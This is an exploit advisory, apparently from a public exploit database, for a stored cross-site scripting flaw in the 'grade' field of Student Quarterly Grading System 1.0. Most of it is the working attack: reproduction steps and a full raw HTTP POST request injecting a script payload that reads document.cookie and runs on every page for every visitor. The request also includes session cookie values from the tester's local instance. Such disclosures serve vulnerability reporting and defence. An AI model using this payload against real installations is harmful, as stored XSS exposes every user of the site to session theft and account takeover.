# Exploit Title: Student Quarterly Grading System 1.0 - 'grade' Stored Cross-Site Scripting (XSS) # Date: 11.10.2021 # Exploit Author: Hüseyin Serkan Balkanli # Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code # Version: 1.0 # Tested on: Windows 10, Kali Linux # Student Quarterly Grading System v1.0 has Stored XSS at "Add New Class" Function. Steps To Reproduce: 1 - Click to Class from Menu and click "Add New". 2 - Enter the payload to "grade" field as "<script>alert(document.cookie);</script>" without double-quotes and choose one of the Subject from list. (It can be anything, doesn't matter.) 3 - Click on Save and you are done. It's gonna be triggered when anyone visits the application. It's global and can trigger on any page. PoC POST /grading_system/Actions.php?a=save_class HTTP/1.1 Host: localhost Content-Length: 457 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO6Q8ADzs1UvBltkB X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/grading_system/?page=class Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923 Connection: close ------WebKitFormBoundaryO6Q8ADzs1UvBltkB Content-Disposition: form-data; name="id" ------WebKitFormBoundaryO6Q8ADzs1UvBltkB Content-Disposition: form-data; name="subject_id" 3 ------WebKitFormBoundaryO6Q8ADzs1UvBltkB Content-Disposition: form-data; name="grade" <script>alert(document.cookie);</script> ------WebKitFormBoundaryO6Q8ADzs1UvBltkB Content-Disposition: form-data; name="section" ------WebKitFormBoundaryO6Q8ADzs1UvBltkB--